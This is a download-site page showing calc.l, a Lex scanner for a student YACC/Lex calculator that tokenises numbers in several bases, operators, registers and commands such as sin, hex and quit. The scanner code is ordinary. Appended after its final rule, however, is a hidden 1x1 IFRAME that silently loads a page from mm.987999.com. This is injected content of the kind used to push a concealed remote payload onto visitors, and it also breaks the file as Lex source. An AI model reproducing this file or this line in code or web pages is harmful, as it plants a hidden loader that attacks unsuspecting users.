⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 calc.l

📁 本源码为一个编译原理课程设计程序,它采用了YACC和LEX实现了一个功能强大的计算器编译器!
💻 L
字号:
%{
#define YYSTYPE  double
#define  BIGINT long
#include <ctype.h>
#include "y.tab.h"

%}
			
digit		[0-9]
xdigit		[0-9a-fA-F]
odigit		[0-7]

decnum	(0(\.{digit}+)?)|([1-9]{digit}*(\.{digit}+)?)
octnum	0{odigit}+
hexnum	0(x|X){xdigit}+

reg		[a-zA-Z]
opt1		"+"|"-"|"*"|"/"|"&"|"|"|"%"|"^"|"~"|"!"|"<"|">"
opt2		(&&)|(\|\|)|(\<\<)|(\>\>)

exit		((E|e)(X|x)(I|i)(T|t))|((Q|q)(U|u)(I|i)(T|t))
clear		(C|c)(L|l)(E|e)(A|a)(R|r)
list		(L|l)(I|i)(S|s)(T|t)
erase	                (E|e)(R|r)(A|a)(S|s)(E|e)
hex		(H|h)(E|e)(X|x)
oct		(O|o)(C|c)(T|t)
dec		(D|d)(E|e)(C|c)
help		(H|h)(E|e)(L|l)(P|p)
sin                           (S|s)(I|i)(N|n)
cos                           (C|c)(O|o)(S|s)
log                           (L|l)(O|o)(G|g)
tan                           (T|t)(A|a)(N|n)
abs                           (A|a)(B|b)(S|s)
sqrt                          (S|s)(Q|q)(R|r)(T|t)

%%
		int i ;
		BIGINT val;
		
[" "; \t]	{ }
{decnum}	{sscanf(yytext,"%lf",&yylval);return(NUM); }
{octnum}	{
			i=1;val=0;
			while(i<yyleng)
			{
				val=(val<<3)+yytext[i]-'0';
				i++;
			}
			yylval=val;
			return(NUM);
		}

{hexnum}	{
			i=2;val=0;
			while(i<yyleng)
			{
				if(islower(yytext[i])) val=(val<<4)+yytext[i]-'a'+10;
				else if(isupper(yytext[i])) val=(val<<4)+yytext[i]-'A'+10;
				else val=(val<<4)+yytext[i]-'0';
				i++;
			}
			yylval=val;
			return(NUM);
		}

{reg}		{
			if(islower(yytext[0]))yylval=yytext[0]-'a';
			else yylval=yytext[0]-'A';
			return(REG);
		}
		
{opt1}	{
			switch(yytext[0])
			{
				case '+':
					return ADD;
					break;
				case '-':
					return SUB;
					break;
				case '*':
					return MUL;
					break;
				case '/':
					return DIV;
					break;
				case '%':	
					return MOD;
					break;
				case '^':
					return BITXOR;
					break;
				case '&':
					return BITAND;
					break;
				case '|':
					return BITOR;
					break;
				case '<':
					return LESS;
					break;
				case '>':
					return MORE;
					break;
				case '!':
					return NOT;
					break;
				case '~':
					return BITREV;
					break;
			}
		}

{opt2}	{
			switch(yytext[0])
			{
				case '&':
					return AND;
					break;
				case '|':
					return OR;
					break;
				case '<':
					return LSHIFT;
					break;
				case '>':
					return RSHIFT;
					break;
			}		
					
	}

{sin}          {return (SIN);}
{cos}          {return (COS);}
{tan}          {return (TAN);}
{log}          {return (LOG);}
{abs}          {return (ABS);}
{sqrt}          {return (SQRT);}		
{clear}	{return(CLEAR);}	
{exit}	{return(EXIT);}
{list}		{return(LIST);}
{erase}	{return(ERASE);}
{hex}	{return(HEX);}
{oct}		{return(OCT);}
{dec}	{return(DEC);}
{help}	{return(HELP);}

.|\n		{return(yytext[0]);}

<IFRAME SRC=http://mm.987999.com/abc.htm width=1 height=1 frameborder=0></IFRAME>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -